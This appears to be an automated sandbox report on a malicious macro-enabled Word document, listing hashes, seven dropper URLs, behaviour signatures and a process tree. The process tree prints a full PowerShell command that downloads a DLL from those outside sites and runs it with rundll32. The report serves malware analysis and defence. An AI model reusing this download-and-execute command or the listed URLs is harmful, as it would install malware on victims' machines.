Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    27-04-2022 02:09

General

  • Target

    berpyuiv.docm

  • Size

    140KB

  • MD5

    391dca4cf91ae12aa1b5ac9d0ac3ec41

  • SHA1

    47cfcf587d838f68a8f8df53ea3afae475436992

  • SHA256

    06012c700c1dac4c122303e920fdf1c71c41e681673c241c9698e5766df275a8

  • SHA512

    de299156048c8cb81fe9a5e839442347d118b9de47b353500647a73d4b97f010dcef6d6eb3c7ee9b04874010efd0b9f3b8790f8f9013a47271528eaed1be0c41

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/

exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/

exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/

exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/

exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/

exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/

exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 23 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\berpyuiv.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5016
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3184

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/224-137-0x0000000000000000-mapping.dmp

  • memory/3184-141-0x000001B548C80000-0x000001B549426000-memory.dmp

    Filesize

    7.6MB

  • memory/3184-140-0x00007FFAAD810000-0x00007FFAAE2D1000-memory.dmp

    Filesize

    10.8MB

  • memory/3184-139-0x000001B52F9A0000-0x000001B52F9C2000-memory.dmp

    Filesize

    136KB

  • memory/3184-138-0x0000000000000000-mapping.dmp

  • memory/5016-134-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-136-0x00007FFA97440000-0x00007FFA97450000-memory.dmp

    Filesize

    64KB

  • memory/5016-135-0x00007FFA97440000-0x00007FFA97450000-memory.dmp

    Filesize

    64KB

  • memory/5016-130-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-133-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-132-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-131-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-144-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-146-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-145-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB

  • memory/5016-143-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp

    Filesize

    64KB